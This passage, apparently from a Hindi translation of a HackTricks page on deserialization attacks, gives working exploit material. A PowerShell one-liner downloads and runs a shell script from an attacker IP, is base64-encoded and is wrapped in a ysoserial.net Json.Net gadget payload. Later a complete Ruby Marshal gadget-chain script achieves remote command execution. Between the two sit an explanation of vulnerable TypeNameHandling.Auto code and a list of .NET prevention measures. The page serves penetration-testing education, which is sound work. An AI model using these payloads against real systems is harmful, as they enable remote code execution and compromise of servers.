echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net में एक बहुत दिलचस्प पैरामीटर भी है जो हर एक एक्सप्लॉइट काम कैसे करता है, इसे बेहतर समझने में मदद करता है: --test यदि आप इस पैरामीटर को इंडिकेट करते हैं तो ysoserial.net लोकली एक्सप्लॉइट की कोशिश करेगा, ताकि आप यह जांच सकें कि आपका पेलोड सही ढंग से काम करेगा। यह पैरामीटर मददगार है क्योंकि यदि आप कोड की समीक्षा करते हैं तो आप निम्नलिखित तरह के कोड टुकड़े पाएंगे (ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

इसका मतलब है कि एक्सप्लॉइट का परीक्षण करने के लिए कोड serializersHelper.JsonNet_deserialize को कॉल करेगा।

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

पिछले कोड में उत्पन्न दुरुपयोग के लिए वंशीकरण योग्य है। इसलिए अगर आप .Net एप्लिकेशन में कुछ समान ढूंढते हैं तो यह संभावना है कि वह एप्लिकेशन भी वंशीकरण के लिए भेद्य है।

इसलिए --test पैरामीटर हमें समझने में मदद करता है कि कौन से कोड खंड वंशीकरण दुरुपयोग के लिए भेद्य हैं जिन्हें ysoserial.net बना सकता है।

ViewState

इस पोस्ट को देखें जिसमें बताया गया है कि .Net के __ViewState पैरामीटर का दुरुपयोग कैसे किया जा सकता है यदि आप पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों को जानते हैं, तो इस पोस्ट को पढ़ें जिसमें कोड कैसे चलाया जा सकता है।**

रोकथाम

.Net में वंशीकरण के साथ जुड़े जोखिमों को कम करने के लिए:

  • डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकार को परिभाषित करने से बचें। संभावना होने पर DataContractSerializer या XmlSerializer का उपयोग करें।

  • JSON.Net के लिए, TypeNameHandling को None पर सेट करें: %%%TypeNameHandling = TypeNameHandling.None%%%

  • JavaScriptSerializer का उपयोग JavaScriptTypeResolver के साथ न करें।

  • वंशीकरण करने के लिए उपयोग किए जा सकने वाले प्रकारों की सीमा निर्धारित करें, .Net प्रकारों के साथ संगहित जोखिमों को समझें, जैसे System.IO.FileInfo, जो सर्वर फ़ाइलों की गुणवत्ता को संशोधित कर सकता है, जिससे नकारात्मक सेवा हमलों की ओर ले जा सकता है।

  • जोखिमपूर्ण गुणवत्ता वाले प्रकारों के साथ सतर्क रहें, जैसे System.ComponentModel.DataAnnotations.ValidationException जिसमें उसकी Value गुणवत्ता हो, जिसका शोषण किया जा सकता है।

  • वंशीकरण प्रक्रिया पर प्रभाव डालने वाले हमलावरों से बचाव करने के लिए प्रकार निर्माण को सुरक्षित रूप से नियंत्रित करें, जिससे DataContractSerializer या XmlSerializer भी भेद्य हो सकते हैं।

  • BinaryFormatter और JSON.Net के लिए एक कस्टम SerializationBinder का उपयोग करके सफेद सूची नियंत्रण लागू करें।

  • .Net में पता चले असुरक्षित वंशीकरण गैजेट्स के बारे में जानकारी रखें और सुनिश्चित करें कि वंशीकरणकर्ता ऐसे प्रकारों को संचालित न करें।

  • इंटरनेट एक्सेस वाले कोड से संभावित जोखिमपूर्ण कोड को अलग रखें ताकि ज्ञात गैजेट्स को उद्घाटित न करें, जैसे WPF एप्लिकेशन में System.Windows.Data.ObjectDataProvider को अविश्वसनीय डेटा स्रोतों के लिए अनुप्रयोग करने से बचाएं।

संदर्भ

रूबी

रूबी में, वंशीकरण को मार्शल पुस्तकालय के दो विधियों द्वारा सुविधाजनक बनाया गया है। पहला विधि, जिसे डंप कहा जाता है, एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए उपयोग किया जाता है। इस प्रक्रिया को वंशीकरण कहा जाता है। उल्टे, दूसरा विधि, लोड नामक है, जिसका उपयोग एक बाइट स्ट्रीम को फिर से एक ऑब्जेक्ट में बदलने के लिए किया जाता है, जिसे वंशीकरण कहा जाता है।

वंशीकरणित ऑब्ज

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ruby On Rails को अनुभवित करने के लिए अन्य RCE श्रृंखला: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated